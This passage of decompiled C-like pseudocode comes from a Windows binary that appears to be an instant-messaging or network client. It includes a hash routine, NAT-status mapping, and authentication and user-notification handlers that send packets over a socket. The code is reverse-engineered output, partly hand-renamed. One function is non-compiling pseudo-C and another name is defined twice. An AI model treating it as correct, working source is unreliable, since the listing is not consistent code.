          *(&v16 + v7) = *(_BYTE *)(v6 - 2) | ((*(_BYTE *)(v6 - 1) | ((*(_BYTE *)v6 | (*(_BYTE *)(v6 + 1) << 8)) << 8)) << 8);
          v10 = *(_BYTE *)(v6 + 2) | ((*(_BYTE *)(v6 + 3) | ((v9 | (*(_BYTE *)(v6 + 5) << 8)) << 8)) << 8);
          v11 = *(_BYTE *)(v6 + 8);
          *(&v17 + v7) = v10;
          v12 = *(_BYTE *)(v6 + 6) | ((*(_BYTE *)(v6 + 7) | ((v11 | (*(_BYTE *)(v6 + 9) << 8)) << 8)) << 8);
          v13 = *(_BYTE *)(v6 + 12);
          *(&v18 + v7) = v12;
          v19[v7] = *(_BYTE *)(v6 + 10) | ((*(_BYTE *)(v6 + 11) | ((v13 | (*(_BYTE *)(v6 + 13) << 8)) << 8)) << 8);
          v7 += 4;
          v6 += 16;
        }
        while ( v7 < 0x10 );
        sub_41B060((int)&v16, a2 + 8);
        result = 0;
      }
    }
    while ( v5 );
  }
  return result;
}

//----- (0041B890) --------------------------------------------------------
int __fastcall sub_41B890(int a1)
{
  int v1; // eax@1
  signed int v2; // ecx@1
  int v3; // esi@1
  int v4; // eax@3
  unsigned int v5; // ecx@3
  int result; // eax@5
  unsigned int v7; // eax@1
  int v8; // ecx@1
  int v9; // edi@4
  int  s; // [sp+4Ch] [bp+0h]@1
  unsigned int v11; // [sp+48h] [bp-4h]@1
  unsigned int v12; // [sp+40h] [bp-Ch]@1
  int v13; // [sp+44h] [bp-8h]@1
  int v14; // [sp+8h] [bp-44h]@4
  _DWORD v15[13]; // [sp+Ch] [bp-40h]@4

  v11 = (unsigned int)& s ^ dword_426018;
  v3 = a1;
  v7 = *(_DWORD *)a1;
  v8 = *(_DWORD *)(a1 + 4);
  v12 = v7;
  v1 = (v7 >> 3) & 0x3F;
  v13 = v8;
  v2 = 56;
  if ( v1 >= 56 )
    v2 = 120;
  sub_41B760(v2 - v1, v3, (int)"€");
  v5 = 0;
  v4 = v3 + 26;
  do
  {
    v9 = *(_BYTE *)(v4 + 4);
    *(&v14 + v5) = *(_BYTE *)(v4 - 2) | ((*(_BYTE *)(v4 - 1) | ((*(_BYTE *)v4 | (*(_BYTE *)(v4 + 1) << 8)) << 8)) << 8);
    v15[v5] = *(_BYTE *)(v4 + 2) | ((*(_BYTE *)(v4 + 3) | ((v9 | (*(_BYTE *)(v4 + 5) << 8)) << 8)) << 8);
    v5 += 2;
    v4 += 8;
  }
  while ( v5 < 0xE );
  sub_41B060((int)&v14, v3 + 8);
  *(_BYTE *)(v3 + 88) = *(_BYTE *)(v3 + 8);
  *(_BYTE *)(v3 + 89) = *(_BYTE *)(v3 + 9);
  *(_BYTE *)(v3 + 90) = *(_BYTE *)(v3 + 10);
  *(_BYTE *)(v3 + 91) = *(_BYTE *)(v3 + 11);
  *(_BYTE *)(v3 + 92) = *(_BYTE *)(v3 + 12);
  *(_BYTE *)(v3 + 93) = *(_BYTE *)(v3 + 13);
  *(_BYTE *)(v3 + 94) = *(_BYTE *)(v3 + 14);
  *(_BYTE *)(v3 + 95) = *(_BYTE *)(v3 + 15);
  *(_BYTE *)(v3 + 96) = *(_BYTE *)(v3 + 16);
  *(_BYTE *)(v3 + 97) = *(_BYTE *)(v3 + 17);
  *(_BYTE *)(v3 + 98) = *(_BYTE *)(v3 + 18);
  *(_BYTE *)(v3 + 99) = *(_BYTE *)(v3 + 19);
  *(_BYTE *)(v3 + 100) = *(_BYTE *)(v3 + 20);
  *(_BYTE *)(v3 + 101) = *(_BYTE *)(v3 + 21);
  *(_BYTE *)(v3 + 102) = *(_BYTE *)(v3 + 22);
  result = *(_BYTE *)(v3 + 23);
  *(_BYTE *)(v3 + 103) = *(_BYTE *)(v3 + 23);
  return result;
}

//----- (0041B9C0) --------------------------------------------------------
signed int __usercall getNatStatus(signed int a1<eax>)
{
  signed int result; // eax@4

  if ( a1 > 16 )
  {
    if ( a1 > 12288 )
    {
      if ( a1 == 16384 )
        return 6;
      if ( a1 == 20480 )
        return 8;
      if ( a1 == 24576 )
        return 10;
    }
    else
    {
      if ( a1 == 12288 )
        return 7;
      if ( a1 > 4096 )
      {
        if ( a1 == 8193 )
          return 9;
      }
      else
      {
        if ( a1 != 4096 )
        {
          if ( a1 == 32 )
            return 12;
          if ( a1 == 256 )
            return 1;
        }
      }
    }
    return 0;
  }
  if ( a1 == 16 )
  {
    result = 4;
  }
  else
  {
    switch ( a1 )
    {
      case 1:
        result = 2;
        break;
      case 4:
        result = 3;
        break;
      case 2:
        result = 5;
        break;
      case 0:
        result = 11;
        break;
      default:
        return 0;
    }
  }
  return result;
}

//----- (0041BA70) --------------------------------------------------------
int __thiscall sub_41BA70(int this, char a2)
{
  int v2; // esi@1

  v2 = this;
  *(_DWORD *)this = &off_421F5C;
  if ( *(_DWORD *)(this + 660) )
    operator delete(*(_DWORD *)(this + 660));
  *(_DWORD *)(v2 + 660) = 0;
  *(_DWORD *)(v2 + 664) = 0;
  *(_DWORD *)(v2 + 668) = 0;
  sub_40AEB0(v2);
  if ( a2 & 1 )
    operator delete(v2);
  return v2;
}

//----- (0041BB20) --------------------------------------------------------
int __fastcall sub_41BB20(int a1)
{
  int result; // eax@1
  int v2; // esi@1
  int v3; // ecx@2
  int v4; // edx@3
  int  s; // [sp+18h] [bp+0h]@1
  unsigned int v6; // [sp+14h] [bp-4h]@1
  int v7; // [sp+4h] [bp-14h]@2
  int v8; // [sp+Ch] [bp-Ch]@2
  int v9; // [sp+8h] [bp-10h]@3
  int v10; // [sp+10h] [bp-8h]@3

  v6 = (unsigned int)& s ^ dword_426018;
  v2 = a1;
  result = *(_DWORD *)(a1 + 700);
  if ( result <= 0 )
  {
    *(_DWORD *)(a1 + 700) = result + 1;
    ftime64(&v7);
    result = v7;
    v3 = v8;
    if ( (unsigned __int16)v8 + 1000 * (v7 - *(_DWORD *)(v2 + 680)) - *(_WORD *)(v2 + 688) >= 250 )
    {
      v4 = v9;
      *(_DWORD *)(v2 + 680) = v7;
      result = v10;
      *(_DWORD *)(v2 + 684) = v4;
      *(_DWORD *)(v2 + 688) = v3;
      *(_DWORD *)(v2 + 692) = result;
    }
    --*(_DWORD *)(v2 + 700);
  }
  return result;
}

//----- (0041BBB0) --------------------------------------------------------
int __stdcall sub_41BBB0(int a1, int a2, int a3, int a4, int a5, unsigned int a6, int a7, int a8)
{
  int result; // eax@2

  if ( a6 >= 0x10 )
    result = operator delete(a1);
  return result;
}

//----- (0041BBD0) --------------------------------------------------------
void __thiscall sub_41BBD0(int this, char *Str, int a3, int a4, int a5, int a6, int a7, int a8, int a9, int a10, int a11, int a12, int a13, int a14, int a15, int a16, int a17, int a18, int a19, int a20, int a21, int a22, int a23)
{
  const char *v23; // eax@4
  unsigned __int16 v24; // di@4
  void *v25; // esi@4
  int v26; // eax@4
  int v27; // eax@6
  int v28; // edx@6
  int v29; // [sp+0h] [bp-8h]@1
  int *v30; // [sp+4h] [bp-4h]@2

  v29 = this;
  if ( (unsigned int)a14 < 0x10 )
    v30 = &a9;
  else
    v30 = (int *)a9;
  v24 = strlen((const char *)v30);
  v25 = malloc(v26 + 8);
  sub_408AC0(v30);
  v23 = Str;
  if ( (unsigned int)a7 < 0x10 )
    v23 = (const char *)&Str;
  v27 = atoi(v23);
  v28 = v29;
  *(_DWORD *)v25 = v27;
  *((_WORD *)v25 + 2) = 3;
  *((_WORD *)v25 + 3) = v24;
  total_sent += send(*(_DWORD *)(v28 + 648), (const char *)v25, v24 + 8, 0);
  free(v25);
  if ( (unsigned int)a14 >= 0x10 )
    operator delete(a9);
  a14 = 15;
  a13 = 0;
  LOBYTE(a9) = 0;
  if ( (unsigned int)a7 >= 0x10 )
    operator delete(Str);
}

//----- (0041BCB0) --------------------------------------------------------
void __thiscall sub_41BCB0(int this, char *Str, int a3, int a4, int a5, int a6, int a7, int a8, int a9, int a10, int a11, int a12, int a13, int a14, int a15)
{
  int *v15; // eax@1
  const char *v16; // eax@3
  unsigned __int16 v17; // di@3
  void *v18; // esi@3
  int v19; // eax@3
  void *v20; // eax@3
  int v21; // eax@5
  int v22; // ecx@5
  int  s; // [sp+408h] [bp+0h]@1
  unsigned int v24; // [sp+404h] [bp-4h]@1
  int v25; // [sp+0h] [bp-408h]@1
  char DstBuf; // [sp+4h] [bp-404h]@3

  v24 = (unsigned int)& s ^ dword_426018;
  v15 = (int *)a9;
  v25 = this;
  if ( (unsigned int)a14 < 0x10 )
    v15 = &a9;
  v19 = snprintf_c(&DstBuf, 0x400u, dword_421F24, v15);
  v17 = v19;
  v20 = malloc(v19 + 8);
  v18 = v20;
  sub_408AC0((char *)v20 + 8);
  v16 = Str;
  if ( (unsigned int)a7 < 0x10 )
    v16 = (const char *)&Str;
  v21 = atoi(v16);
  v22 = v25;
  *(_DWORD *)v18 = v21;
  *((_WORD *)v18 + 2) = 10;
  *((_WORD *)v18 + 3) = v17;
  total_sent += send(*(_DWORD *)(v22 + 648), (const char *)v18, v17 + 8, 0);
  free(v18);
  if ( (unsigned int)a7 >= 0x10 )
    operator delete(Str);
  a7 = 15;
  a6 = 0;
  LOBYTE(Str) = 0;
  if ( (unsigned int)a14 >= 0x10 )
    operator delete(a9);
}

//----- (0041BDB0) --------------------------------------------------------
void __thiscall onAuthReply(int this, char *Str, int a3, int a4, int a5, int a6, int a7, int a8, int a9, int a10, int a11, int a12, int a13, int a14, int a15, char a16)
{
  char *v16; // ebx@1
  const char *v17; // eax@3
  size_t v18; // edi@3
  void *v19; // esi@3
  void *v20; // eax@3
  int v21; // eax@5
  int v22; // [sp+8h] [bp-4h]@1

  v22 = this;
  v16 = "Auth resp failed!";
  if ( a16 )
    v16 = "Auth resp OK";
  v18 = strlen(v16);
  v20 = malloc(v18 + 8);
  v19 = v20;
  strncpy((char *)v20 + 8, v16, v18);
  v17 = Str;
  if ( (unsigned int)a7 < 0x10 )
    v17 = (const char *)&Str;
  *(_DWORD *)v19 = atoi(v17);
  v21 = v22;
  *((_WORD *)v19 + 2) = 14;
  *((_WORD *)v19 + 3) = v18;
  total_sent += send(*(_DWORD *)(v21 + 648), (const char *)v19, (unsigned __int16)v18 + 8, 0);
  free(v19);
  if ( (unsigned int)a7 >= 0x10 )
    operator delete(Str);
  a7 = 15;
  a6 = 0;
  LOBYTE(Str) = 0;
  if ( (unsigned int)a14 >= 0x10 )
    operator delete(a9);
}

//----- (0041BE90) --------------------------------------------------------
void __thiscall onUserNotify(int this, char *uin, int stat1, int stat2, bool invis_flag, int a6, int a7, int a8, int a9, int a10, char a11)
{
  p = malloc(sizeof(PKT) + 3);

  stat = getNatStatus(stat2);
  p->data[0] = stat&0xFF;
  p->data[1] = (stat>>8)&0xFF;
  p->data[2] = 0;

  p.pkt->uin = atoi(uin);
  p.pkt->data_len = 2;
  p.pkt->type = NAT_STATUSCHANGE;
  total_sent += send(sock, p, 10, 0);
  free(p);
}

//----- (0041BF20) --------------------------------------------------------
int __stdcall onContactListChanged(int a1, int a2, int a3, int a4, int a5, unsigned int a6, int a7)
{
  int result; // eax@2

  if ( a6 >= 0x10 )
    result = operator delete(a1);
  return result;
}

//----- (0041BF40) --------------------------------------------------------
int __stdcall onWasAdded(int a1, int a2, int a3, int a4, int a5, signed int a6, int a7, int a8, int a9, int a10, int a11, int a12, int a13, signed int a14, int a15, int a16, int a17, int a18, int a19, int a20, unsigned int a21, int a22)
{
  int result; // eax@2

  if ( (unsigned int)a6 >= 0x10 )
    result = operator delete(a1);
  a6 = 15;
  a5 = 0;
  LOBYTE(a1) = 0;
  if ( (unsigned int)a14 >= 0x10 )
    result = operator delete(a9);
  a13 = 0;
  LOBYTE(a9) = 0;
  a14 = 15;
  if ( a21 >= 0x10 )
    result = operator delete(a16);
  return result;
}

//----- (0041BFA0) --------------------------------------------------------
int __stdcall onContactListChanged(int a1, int a2, int a3, int a4, int a5, int a6, unsigned int a7, int a8, int a9)
{
  int result; // eax@2

  if ( a7 >= 0x10 )
    result = operator delete(a2);
  return result;
}

//----- (0041BFC0) --------------------------------------------------------
int __stdcall sub_41BFC0(int a1, int a2, int a3, int a4, int a5, unsigned int a6, int a7, int a8, int a9, int a10, int a11, int a12, signed int a13, int a14, int a15, int a16, int a17, int a18, int a19, int a20, int a21, int a22, int a23)
{
  int result; // eax@3

  if ( (unsigned int)a13 >= 0x10 )
    operator delete(a8);
  result = 0;
  a13 = 15;
  a12 = 0;
  LOBYTE(a8) = 0;
  if ( a6 >= 0x10 )
    result = operator delete(a1);
  return result;
}

//----- (0041C000) --------------------------------------------------------
int __userpurge sub_41C000<eax>(int a1<esi>, int a2)
{
  int result; // eax@1
  __time64_t v3; // qax@1
  __int16 v4; // cx@1
  int v5; // ebx@1
  int v6; // edi@1
  __int16 v7; // [sp+14h] [bp-38h]@1
  __int16 v8; // [sp+10h] [bp-3Ch]@1
  __int16 v9; // [sp+12h] [bp-3Ah]@1
  int v10; // [sp+18h] [bp-34h]@1
  int v11; // [sp+1Ch] [bp-30h]@1
  int v12; // [sp+30h] [bp-1Ch]@1
  int v13; // [sp+34h] [bp-18h]@1
  int v14; // [sp+48h] [bp-4h]@1

  v3 = time64(0);
  v4 = *(_WORD *)(a1 + 2);
  v5 = *((_DWORD *)&v3 + 1);
  v6 = v3;
  LOWORD(v3) = *(_WORD *)a1;
  v7 = *(_WORD *)(a1 + 4);
  v8 = v3;
  *(_DWORD *)&v3 = *(_DWORD *)(a1 + 8);
  v9 = v4;
  v10 = v3;
  sub_4061F0(a1 + 12, (int)&v11);
  v12 = v6;
  v13 = v5;
  v14 = 0;
  sub_41C290((unsigned int)&v8, a2);
  result = v11;
  if ( v11 )
    result = operator delete(v11);
  return result;
}

//----- (0041C0A0) --------------------------------------------------------
char __usercall sub_41C0A0<al>(int a1<eax>, int a2<edi>)
{
  int v2; // ecx@1
  int v3; // ebx@1
  unsigned int v4; // esi@1
  int v5; // eax@2
  __int16 v6; // dx@6
  int v7; // edx@8
  char result; // al@11
  int v9; // ebx@12
  int i; // esi@12
  int v11; // ecx@13
  int v12; // ecx@10
  int v13; // esi@12
  int v14; // [sp+8h] [bp-8h]@3

  v2 = *(_DWORD *)a2;
  v3 = a1;
  v4 = 0;
  if ( ((signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(a2 + 4) - *(_DWORD *)a2)) >> 32) >> 4)
     + ((unsigned int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(a2 + 4) - *(_DWORD *)a2)) >> 32) >> 31) )
  {
    v5 = *(_DWORD *)a2;
    while ( 1 )
    {
      if ( *(_WORD *)v5 == *(_WORD *)v3 || !*(_WORD *)v3 )
      {
        v6 = *(_WORD *)(v3 + 2);
        if ( *(_WORD *)(v5 + 2) == v6 || !v6 )
        {
          v7 = *(_DWORD *)(v3 + 8);
          if ( *(_DWORD *)(v5 + 8) == v7 )
            break;
          if ( !v7 )
            break;
        }
      }
      v12 = *(_DWORD *)(a2 + 4) - *(_DWORD *)a2;
      v14 = v5 + 40;
      ++v4;
      if ( v4 >= ((signed int)((unsigned __int64)(1717986919i64 * v12) >> 32) >> 4)
               + ((unsigned int)((unsigned __int64)(1717986919i64 * v12) >> 32) >> 31) )
        goto LABEL_11;
      v2 = *(_DWORD *)a2;
      v5 = v14;
    }
    v13 = 40 * v4;
    *(_WORD *)v3 = *(_WORD *)(v13 + v2);
    *(_WORD *)(v3 + 2) = *(_WORD *)(v13 + v2 + 2);
    *(_WORD *)(v3 + 4) = *(_WORD *)(v13 + v2 + 4);
    *(_DWORD *)(v3 + 8) = *(_DWORD *)(v13 + v2 + 8);
    sub_405570(v13 + v2 + 12, v3 + 12);
    sub_41C570(v13 + *(_DWORD *)a2 + 40, v13 + *(_DWORD *)a2, *(_DWORD *)(a2 + 4));
    v9 = *(_DWORD *)(a2 + 4);
    for ( i = v9 - 40; i != v9; i += 40 )
    {
      v11 = 0;
      if ( *(_DWORD *)(i + 12) )
      {
        operator delete(*(_DWORD *)(i + 12));
        v11 = 0;
      }
      *(_DWORD *)(i + 12) = v11;
      *(_DWORD *)(i + 16) = v11;
      *(_DWORD *)(i + 20) = v11;
    }
    *(_DWORD *)(a2 + 4) -= 40;
    result = 1;
  }
  else
  {
LABEL_11:
    result = 0;
  }
  return result;
}

//----- (0041C1C0) --------------------------------------------------------
int __usercall sub_41C1C0<eax>(int a1<edi>)
{
  int result; // eax@1
  unsigned __int8 v2; // of@3
  int v3; // eax@3
  int v4; // edx@3
  int v5; // ecx@3
  int v6; // ebx@6
  int i; // esi@6
  int v8; // ecx@7
  int v9; // ecx@1
  signed int v10; // edx@1
  unsigned int v11; // eax@1
  char v12; // zf@1
  __time64_t v13; // qax@3
  unsigned __int8 v14; // cf@3
  unsigned int v15; // [sp+Ch] [bp-8h]@1
  int v16; // [sp+10h] [bp-4h]@2
  int v17; // [sp+8h] [bp-Ch]@3

  v9 = *(_DWORD *)(a1 + 4) - *(_DWORD *)a1;
  v10 = (signed int)((unsigned __int64)(1717986919i64 * v9) >> 32) >> 4;
  v11 = (unsigned int)((unsigned __int64)(1717986919i64 * v9) >> 32) >> 31;
  v12 = v10 + v11 == 0;
  result = v10 + v11;
  v15 = 0;
  if ( !v12 )
  {
    v16 = 0;
    do
    {
      v13 = time64(0);
      v5 = v16 + *(_DWORD *)a1;
      v14 = (_DWORD)v13 < *(_DWORD *)(v5 + 32);
      v3 = (_DWORD)v13 - *(_DWORD *)(v5 + 32);
      v2 = __SETO__(*((_DWORD *)&v13 + 1), v14 + *(_DWORD *)(v5 + 36));
      v4 = *((_DWORD *)&v13 + 1) - (v14 + *(_DWORD *)(v5 + 36));
      v17 = v4;
      if ( v4 < 0 || (unsigned __int8)(v4 < 0 ^ v2) | v4 == 0 && (unsigned int)v3 < 0x12C )
      {
        ++v15;
        v16 += 40;
      }
      else
      {
        sub_41C570(v5 + 40, v5, *(_DWORD *)(a1 + 4));
        v6 = *(_DWORD *)(a1 + 4);
        for ( i = v6 - 40; i != v6; i += 40 )
        {
          v8 = 0;
          if ( *(_DWORD *)(i + 12) )
          {
            operator delete(*(_DWORD *)(i + 12));
            v8 = 0;
          }
          *(_DWORD *)(i + 12) = v8;
          *(_DWORD *)(i + 16) = v8;
          *(_DWORD *)(i + 20) = v8;
        }
        *(_DWORD *)(a1 + 4) -= 40;
      }
      result = ((signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(a1 + 4) - *(_DWORD *)a1)) >> 32) >> 4)
             + ((unsigned int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(a1 + 4) - *(_DWORD *)a1)) >> 32) >> 31);
    }
    while ( v15 < result );
  }
  return result;
}

//----- (0041C290) --------------------------------------------------------
int __usercall sub_41C290<eax>(unsigned int a1<ecx>, int a2<edi>)
{
  int result; // eax@1
  unsigned int v3; // ecx@1
  unsigned int v4; // esi@1
  unsigned int v5; // esi@3
  int v6; // ebx@5
  int v7; // esi@5
  int v8; // ebx@9
  int v9; // [sp+Ch] [bp-Ch]@1
  signed int v10; // [sp+14h] [bp-4h]@5

  result = (int)&v9;
  v4 = a1;
  v3 = *(_DWORD *)(a2 + 4);
  if ( v4 >= v3 || (result = *(_DWORD *)a2, *(_DWORD *)a2 > v4) )
  {
    if ( v3 == *(_DWORD *)(a2 + 8) )
      result = sub_41C3A0(a2);
    v8 = *(_DWORD *)(a2 + 4);
    v10 = 1;
    if ( v8 )
    {
      *(_WORD *)v8 = *(_WORD *)v4;
      *(_WORD *)(v8 + 2) = *(_WORD *)(v4 + 2);
      *(_WORD *)(v8 + 4) = *(_WORD *)(v4 + 4);
      *(_DWORD *)(v8 + 8) = *(_DWORD *)(v4 + 8);
      sub_4061F0(v4 + 12, v8 + 12);
      result = *(_DWORD *)(v4 + 32);
      *(_DWORD *)(v8 + 32) = *(_DWORD *)(v4 + 32);
      *(_DWORD *)(v8 + 36) = *(_DWORD *)(v4 + 36);
    }
  }
  else
  {
    v5 = ((signed int)((unsigned __int64)(1717986919i64 * (signed int)(v4 - result)) >> 32) >> 4)
       + ((unsigned int)((unsigned __int64)(1717986919i64 * (signed int)(v4 - result)) >> 32) >> 31);
    if ( v3 == *(_DWORD *)(a2 + 8) )
      sub_41C3A0(a2);
    result = 5 * v5;
    v7 = *(_DWORD *)(a2 + 4);
    v6 = *(_DWORD *)a2 + 8 * result;
    v10 = 0;
    if ( v7 )
    {
      *(_WORD *)v7 = *(_WORD *)v6;
      *(_WORD *)(v7 + 2) = *(_WORD *)(v6 + 2);
      *(_WORD *)(v7 + 4) = *(_WORD *)(v6 + 4);
      *(_DWORD *)(v7 + 8) = *(_DWORD *)(v6 + 8);
      result = sub_4061F0(v6 + 12, v7 + 12);
      *(_DWORD *)(v7 + 32) = *(_DWORD *)(v6 + 32);
      *(_DWORD *)(v7 + 36) = *(_DWORD *)(v6 + 36);
    }
  }
  *(_DWORD *)(a2 + 4) += 40;
  return result;
}

//----- (0041C3A0) --------------------------------------------------------
unsigned int __fastcall sub_41C3A0(int a1)
{
  int v1; // edi@1
  unsigned int v2; // esi@1
  unsigned int result; // eax@3
  int v4; // esi@3
  unsigned int v5; // eax@5

  v1 = *(_DWORD *)a1;
  v2 = ((signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(a1 + 4) - *(_DWORD *)a1)) >> 32) >> 4)
     + ((unsigned int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(a1 + 4) - *(_DWORD *)a1)) >> 32) >> 31);
  if ( v2 > 0x6666665 )
    std___Xlength_error("vector<T> too long");
  v4 = v2 + 1;
  result = ((signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(a1 + 8) - v1)) >> 32) >> 4)
         + ((unsigned int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(a1 + 8) - v1)) >> 32) >> 31);
  if ( v4 > result )
  {
    if ( 107374182 - (result >> 1) >= result )
      v5 = (result >> 1) + result;
    else
      v5 = 0;
    if ( v5 < v4 )
      v5 = v4;
    result = sub_41C410(a1, v5);
  }
  return result;
}

//----- (0041C410) --------------------------------------------------------
unsigned int __thiscall sub_41C410(int this, unsigned int a2)
{
  unsigned int v2; // edi@1
  int v3; // esi@1
  unsigned int result; // eax@3
  int v5; // ebx@4
  unsigned int v6; // edi@4
  int v7; // eax@4
  int v8; // ecx@4
  int v9; // ST00_4@4
  int v10; // [sp+0h] [bp-24h]@1
  int *v11; // [sp+14h] [bp-10h]@1
  int v12; // [sp+20h] [bp-4h]@4
  int v13; // [sp+10h] [bp-14h]@4

  v11 = &v10;
  v3 = this;
  v2 = a2;
  if ( a2 > 0x6666666 )
    std___Xlength_error("vector<T> too long");
  result = ((signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(v3 + 8) - *(_DWORD *)v3)) >> 32) >> 4)
         + ((unsigned int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(v3 + 8) - *(_DWORD *)v3)) >> 32) >> 31);
  if ( result < v2 )
  {
    v7 = sub_41C510(v2);
    v12 = 0;
    v8 = *(_DWORD *)v3;
    v9 = *(_DWORD *)(v3 + 4);
    v13 = v7;
    sub_41C5D0(v8, v9, v7);
    v5 = *(_DWORD *)(v3 + 4);
    v6 = ((signed int)((unsigned __int64)(1717986919i64 * (v5 - *(_DWORD *)v3)) >> 32) >> 4)
       + ((unsigned int)((unsigned __int64)(1717986919i64 * (v5 - *(_DWORD *)v3)) >> 32) >> 31);
    if ( *(_DWORD *)v3 )
    {
      sub_41A020(*(_DWORD *)v3, v5);
      operator delete(*(_DWORD *)v3);
    }
    result = v13;
    *(_DWORD *)(v3 + 8) = v13 + 40 * a2;
    *(_DWORD *)(v3 + 4) = result + 40 * v6;
    *(_DWORD *)v3 = result;
  }
  return result;
}

//----- (0041C510) --------------------------------------------------------
int __fastcall sub_41C510(unsigned int a1)
{
  int result; // eax@1
  int v2; // [sp+Ch] [bp-4h]@4
  int (__stdcall **v3)(char); // [sp+0h] [bp-10h]@4

  result = 0;
  if ( a1 )
  {
    if ( a1 > 0x6666666 || (result = operator new(40 * a1), !result) )
    {
      v2 = 0;
      std__exception__exception(&v3, &v2);
      v3 = &off_4212F0;
      result = CxxThrowException(&v3, &dword_4227C8);
    }
  }
  return result;
}

//----- (0041C570) --------------------------------------------------------
int __usercall sub_41C570<eax>(int a1<eax>, int a2<ecx>, int a3<ebx>)
{
  int v3; // edi@1
  int v4; // esi@2
  int v6; // edx@3

  v3 = a2;
  if ( a1 != a3 )
  {
    v4 = a1 + 4;
    do
    {
      *(_WORD *)v3 = *(_WORD *)(v4 - 4);
      *(_WORD *)(v3 + 2) = *(_WORD *)(v4 - 2);
      *(_WORD *)(v3 + 4) = *(_WORD *)v4;
      *(_DWORD *)(v3 + 8) = *(_DWORD *)(v4 + 4);
      sub_405570(v4 + 8, v3 + 12);
      *(_DWORD *)(v3 + 32) = *(_DWORD *)(v4 + 28);
      v6 = *(_DWORD *)(v4 + 32);
      v4 += 40;
      *(_DWORD *)(v3 + 36) = v6;
      v3 += 40;
    }
    while ( v4 - 4 != a3 );
  }
  return v3;
}

//----- (0041C5D0) --------------------------------------------------------
int __thiscall sub_41C5D0(int this, int a2, int a3)
{
  int v3; // edi@1
  int v4; // esi@1
  int v6; // [sp+0h] [bp-24h]@1
  int *v7; // [sp+14h] [bp-10h]@1
  int v8; // [sp+10h] [bp-14h]@1
  int v9; // [sp+20h] [bp-4h]@1

  v7 = &v6;
  v4 = a3;
  v3 = this;
  v8 = a3;
  v9 = 0;
  while ( v3 != a2 )
  {
    LOBYTE(v9) = 1;
    if ( v4 )
    {
      *(_WORD *)v4 = *(_WORD *)v3;
      *(_WORD *)(v4 + 2) = *(_WORD *)(v3 + 2);
      *(_WORD *)(v4 + 4) = *(_WORD *)(v3 + 4);
      *(_DWORD *)(v4 + 8) = *(_DWORD *)(v3 + 8);
      sub_4061F0(v3 + 12, v4 + 12);
      *(_DWORD *)(v4 + 32) = *(_DWORD *)(v3 + 32);
      *(_DWORD *)(v4 + 36) = *(_DWORD *)(v3 + 36);
    }
    v4 += 40;
    a3 = v4;
    v3 += 40;
  }
  return v4;
}

//----- (0041C690) --------------------------------------------------------
int __userpurge sub_41C690<eax>(int a1<esi>, int a2, int a3, int a4, int a5, int a6, signed int a7, int a8, int a9, int a10, int a11, int a12, int a13, int a14, unsigned int a15, int a16)
{
  int v2; // [sp+Ch] [bp-2Ch]@1
  int v3; // [sp+34h] [bp-4h]@1
  int v4; // [sp+20h] [bp-18h]@1
  int v5; // [sp+10h] [bp-28h]@1
  signed int v6; // [sp+24h] [bp-14h]@1

  v2 = a1;
  v3 = 0;
  *(_DWORD *)(a1 + 20) = 15;
  *(_DWORD *)(a1 + 16) = 0;
  *(_BYTE *)a1 = 0;
  *(_DWORD *)(a1 + 52) = 15;
  *(_DWORD *)(a1 + 48) = 0;
  *(_BYTE *)(a1 + 32) = 0;
  *(_DWORD *)(a1 + 80) = 15;
  *(_DWORD *)(a1 + 76) = 0;
  *(_BYTE *)(a1 + 60) = 0;
  LOBYTE(v3) = 4;
  v4 = 0;
  LOBYTE(v5) = 0;
  v6 = 15;
  sub_401600((int)&v5, -1, 0, (int)&a2);
  LOBYTE(v3) = 5;
  sub_401600(a1, -1, 0, (int)&v5);
  LOBYTE(v3) = 4;
  if ( (unsigned int)v6 >= 0x10 )
    operator delete(v5);
  *(_DWORD *)(a1 + 28) = a9;
  v4 = 0;
  LOBYTE(v5) = 0;
  v6 = 15;
  sub_401600((int)&v5, -1, 0, (int)&a10);
  LOBYTE(v3) = 6;
  sub_401600(a1 + 32, -1, 0, (int)&v5);
  if ( (unsigned int)v6 >= 0x10 )
    operator delete(v5);
  if ( (unsigned int)a7 >= 0x10 )
    operator delete(a2);
  a7 = 15;
  a6 = 0;
  LOBYTE(a2) = 0;
  if ( a15 >= 0x10 )
    operator delete(a10);
  return a1;
}

//----- (0041C7C0) --------------------------------------------------------
int __usercall sub_41C7C0<eax>(int a1<esi>)
{
  int result; // eax@2

  if ( *(_DWORD *)(a1 + 80) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 60));
  *(_DWORD *)(a1 + 80) = 15;
  *(_DWORD *)(a1 + 76) = 0;
  *(_BYTE *)(a1 + 60) = 0;
  if ( *(_DWORD *)(a1 + 52) >= 0x10u )
    result = operator delete(*(_DWORD *)(a1 + 32));
  *(_DWORD *)(a1 + 52) = 15;
  *(_DWORD *)(a1 + 48) = 0;
  *(_BYTE *)(a1 + 32) = 0;
  if ( *(_DWORD *)(a1 + 20) >= 0x10u )
    result = operator delete(*(_DWORD *)a1);
  *(_DWORD *)(a1 + 16) = 0;
  *(_DWORD *)(a1 + 20) = 15;
  *(_BYTE *)a1 = 0;
  return result;
}

//----- (0041C830) --------------------------------------------------------
signed int __thiscall sub_41C830(int this, int a2, int a3, int a4, int a5, int a6, unsigned int a7, int a8, int a9)
{
  int v9; // edi@1
  signed int result; // eax@4
  signed int v11; // edi@11
  char v12; // cf@6
  char v13; // cf@9
  int v14; // [sp+14h] [bp-4h]@1

  v9 = this;
  v14 = 0;
  sub_401600(this + 60, -1, 0, (int)&a2);
  *(_DWORD *)(v9 + 88) = a9;
  if ( !sub_41C960(v9) )
  {
    if ( a7 >= 0x10 )
      operator delete(a2);
    return -1;
  }
  if ( !sub_41CA20(v9) )
  {
    closesocket(*(_DWORD *)(v9 + 92));
    v12 = a7 < 0x10;
    *(_DWORD *)(v9 + 92) = -1;
    if ( !v12 )
    {
      operator delete(a2);
      return -1;
    }
    return -1;
  }
  if ( sub_41CB80(v9) )
  {
    v11 = *(_DWORD *)(v9 + 92);
    if ( a7 >= 0x10 )
      operator delete(a2);
    result = v11;
  }
  else
  {
    closesocket(*(_DWORD *)(v9 + 92));
